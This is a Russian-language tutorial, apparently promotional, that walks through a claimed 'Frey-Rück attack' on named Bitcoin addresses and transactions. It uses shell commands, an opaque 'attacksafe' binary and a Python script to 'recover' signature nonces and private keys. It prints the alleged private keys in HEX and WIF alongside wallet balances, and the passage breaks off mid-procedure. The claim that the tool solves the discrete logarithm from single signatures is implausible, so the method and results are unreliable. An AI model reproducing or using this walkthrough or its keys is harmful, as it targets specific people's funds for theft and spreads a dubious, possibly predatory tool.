Реализуем Frey-Rück Attack чтобы получить секретный ключ “K” (NONCE)

В этой статье мы реализуем эффективный алгоритм Frey-Rück Attack для подписи ECDSA в транзакции блокчейна Биткоина. В наших более ранних публикациях мы несколько раз затрагивали тему уязвимости подписи ECDSA. При критической уязвимости транзакции блокчейна Биткоина мы можем решить довольно сложную задачу дискретного логарифмирования для извлечение из уязвимой подписи ECDSA секретный ключ "K" (NONCE), чтобы в конечном итоге восстановить Биткоин Кошелек, так как зная секретный ключ мы можем получить приватный ключ.

Для этого существуют несколько алгоритмов из списка популярных атак на Биткоин, один из которых “Frey-Rück Attack on Bitcoin”.

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

www.attacksafe.ru/frey-ruck-attack-on-bitcoin

Мы не будем погружаться в теоретические аспекты данной атаки перейдем сразу к экспериментальной части

Из нашей практики нам известно что в блокчейне Биткоина очень много уязвимых и слабых транзакции и в процессе нашего криптоанализа мы нашли множество Биткоин Адресов, где большое количество подписи ECDSA были совершены с раскрытием секретного ключа "K" (NONCE).


Рассмотрим пять Биткоин Адресов:

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Каждый Биткоин Адрес совершил по две критический уязвимые транзакции:


16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc1.trezor.io/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72

https://btc1.trezor.io/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb

https://btc1.trezor.io/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4

https://btc1.trezor.io/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542

https://btc1.trezor.io/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db

https://btc1.trezor.io/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина


Откроем [TerminalGoogleColab].

Реализуем эффективный алгоритм Frey-Rück Attack с помощью нашей репозитории 14FreyRuckAttack

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/14FreyRuckAttack/

ls
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Установим все нужные нам пакеты

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
requirements.txt
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Подготовим RawTX для атаки



16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc1.trezor.io/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.attacksafe.ru/software

Права доступа:

chmod +x attacksafe
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Применение:

./attacksafe -help
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode
./attacksafe -version
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

далее выберем -tool: frey_ruck_attack

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3


Сделаем проверку с помощью Python-скрипта point2gen.py


Для этого установим библиотеку эллиптических кривых ECPy:

pip3 install ECPy
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

R          =    0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen  =   (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

ВСЕ ВЕРНО!

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Откроем bitaddress и проверим:

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE) из подписи ECDSA при критической уязвимости транзакции блокчейна Биткоина
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37


Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.


При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128 для этого же Биткоин Адреса


Подготовим RawTX для атаки


16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc1.trezor.io/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

R          =    0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen  =   (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

ВСЕ ВЕРНО!

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Откроем bitaddress и проверим:

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37


№2

При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb

https://btc1.trezor.io/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)


Подготовим RawTX для атаки


1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c

RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7

R          =    0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
point2gen  =   (0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)

ВСЕ ВЕРНО!

K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82

Откроем bitaddress и проверим:

ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
WIF:  KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q
HEX:  4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

BALANCE: $ 677.14


Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.


При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393 для этого же Биткоин Адреса


Подготовим RawTX для атаки


1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
